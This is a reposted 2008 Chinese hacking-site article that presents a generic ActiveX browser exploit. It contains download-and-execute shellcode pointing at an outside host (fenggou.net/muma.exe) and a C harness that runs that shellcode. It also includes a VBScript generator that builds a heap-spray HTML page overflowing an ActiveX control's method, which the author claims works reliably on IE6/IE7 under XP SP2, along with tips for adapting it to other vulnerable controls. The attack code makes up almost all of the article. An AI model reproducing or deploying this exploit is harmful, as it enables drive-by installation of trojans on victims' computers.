奥运倒计时:
2008 中国挺住,中国加油!
全国人民对四川汶川大地震遇难同胞的深切哀悼!
设为首页
加入收藏
论坛登陆 用户名:
密码:
首页
新闻资讯
文章中心
黑客资源
黑客点睛
安全防护
软件下载
动画教程
会员咨询
技术问答
论坛社区
文章
下载
图片
文章
|
电脑知识
|
网络知识
|
菜鸟入门
|
入侵教程
|
黑客攻防
|
黑客编程
|
原创精华
|
黑客人物
|
黑客技术
|
提权技术
|
跨站技术
|
渗透技术
|
鸽子专题
|
您现在的位置:
太平洋安全网
>>
文章
>>
黑客编程
>> 正文
ActiveX漏洞通用Exploit
作者:未知 文章来源:
网络转载
点击数: 更新时间:2008-4-14
终于在milw0rm找到了一个不错的shellcode,down&exec的,灰常好用!顺手写了一个C测试了下,结果是成功
下载
并执行了"
木马
",muma.exe是我用delphi写的一个简单的执行测试程序,无毒无害。
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] =
"\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03"
"\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74"
"\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E"
"\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03"
"\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C"
"\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40"
"\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C"
"\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC"
"\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F"
"\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB"
"\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83"
"\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF"
"\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"
"http://fenggou.net/muma.exe";
int main()
{
void (* code)(); //把ShellCode转换成一个参数为空,返回为空的函数指针,并调用
* (int *) & code = shellcode;
code();
}
在
学习
ActiveX的时候读过联众的AX
漏洞
生成器,思路不错,但不知道什么原因,那个生成器的shellcode我并不能执行成功,索性将其shellcode与heap spray方法暴力分配内存的JS进行了修改,反正在我本机测试100%成功,XP SP2 IE6&IE7。
exeurl = InputBox( "Please input you want down&exec url:", "输入","http://fenggou.net/muma.exe" )
if exeurl <> "" then
code="\xEB\x54\x8B\x75\x3C\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41\xAD\x33\xDB\x36\x0F\xBE\x14\x28\x38\xF2\x74\x08\xC1\xCB\x0D\x03\xDA\x40\xEB\xEF\x3B\xDF\x75\xE7\x5E\x8B\x5E\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xC3\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00\x43\x3A\x5C\x55\x2e\x65\x78\x65\x00\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C\x95\xBF\x8E\x4E\x0E\xEC\xE8\x84\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x3C\xFF\xD0\x95\x50\xBF\x36\x1A\x2F\x70\xE8\x6F\xFF\xFF\xFF\x8B\x54\x24\xFC\x8D\x52\xBA\x33\xDB\x53\x53\x52\xEB\x24\x53\xFF\xD0\x5D\xBF\x98\xFE\x8A\x0E\xE8\x53\xFF\xFF\xFF\x83\xEC\x04\x83\x2C\x24\x62\xFF\xD0\xBF\x7E\xD8\xE2\x73\xE8\x40\xFF\xFF\xFF\x52\xFF\xD0\xE8\xD7\xFF\xFF\xFF"&Unicode(exeurl&Chr(00)&Chr(00))
Function Unicode(str1)
Dim str,temp
str = ""
For i=1 to len(str1)
temp = Hex(AscW(Mid(str1,i,1)))
If len(temp) < 5 Then temp = right("0000"&temp, 2)
str = str & "\x" & temp
Next
Unicode = str
End Function
function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function
set fso=createObject("scripting.filesystemobject")
if fso.FileExists("fenggou.htm") then
fso.deleteFile "fenggou.htm",True
end If
set fileS=fso.opentextfile("fenggou.htm",8,true)
fileS.wr
IT
eline "<html>"
fileS.writeline "<title>Sina</t
IT
le>"
fileS.wr
IT
eline "<object classid=""clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D"" id='target'></object>"
fileS.wr
IT
eline "<body>"
fileS.wr
IT
eline "<SCRIPT language=""JavaScript"">"
fileS.wr
IT
eline "var shellcode = unescape("""&replaceregex(code)&""");"
fileS.wr
IT
eline "var bigblock = unescape(""%u9090%u9090"");"
fileS.wr
IT
eline "var headersize = 20;"
fileS.wr
IT
eline "var slackspace = headersize+shellcode.length;"
fileS.wr
IT
eline "while (bigblock.length<slackspace) bigblock+=bigblock;"
fileS.wr
IT
eline "fillblock = bigblock.substring(0, slackspace);"
fileS.wr
IT
eline "block = bigblock.substring(0, bigblock.length-slackspace);"
fileS.wr
IT
eline "while(block.length+slackspace<0x40000) block = block+block+fillblock;"
fileS.wr
IT
eline "memory = new Array();"
fileS.wr
IT
eline "for (x=0; x<300; x++) memory[x] = block +shellcode;"
fileS.wr
IT
eline "var buffer = '';"
fileS.wr
IT
eline "while (buffer.length < 218) buffer+='\x0a\x0a\x0a\x0a';"
fileS.wr
IT
eline "target.Method1(buffer);"
fileS.wr
IT
eline "</script>"
fileS.wr
IT
eline "</body>"
fileS.wr
IT
eline "</html>"
files.Close
Set fso=nothing
end if
仍然使用VBS,修改成其他漏洞exp的时候修改buffer长度,与
漏洞
AX的classid与参数传递方法即可:)
文章录入:随风追忆 责任编辑:随风追忆
上一篇文章:
Spring中事件处理技巧
下一篇文章:
编程实现DRDoS攻击
【
发表评论
】【
加入收藏
】【
告诉好友
】【
打印此文
】【
关闭窗口
】
推荐
文章
一句话木马用Upfile.vbs脚本
软件破解教程-第6章第3节 加密算法5
软件破解教程-第6章第3节 加密算法4
软件破解教程-第6章第3节 加密算法3
Visual C++编程窃取QQ密码(图)
软件破解教程-常用Win32 API函数简介
VB编程实现图像的漂亮效果
输入10进制,输出2进制
热门
文章
软件破解教程-第6章第3节 加密算法3
Visual C++编程窃取QQ密码(图)
VB编程实现图像的漂亮效果
输入10进制,输出2进制
详解Visual C#数据库编程
入侵渗透中用过的三则VBS代码
入侵渗透中用过的三则VBS代码
网站防止注入入侵的一些有效代码和方法
本站
推荐
关于我们
|
联系方法
|
招聘信息
|
加入会员
|
诚征代理
|
广告服务
|
欢迎投稿
|
站长信箱
|
友情链接
|
网站地图
24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
许可证号:豫ICP备07005385号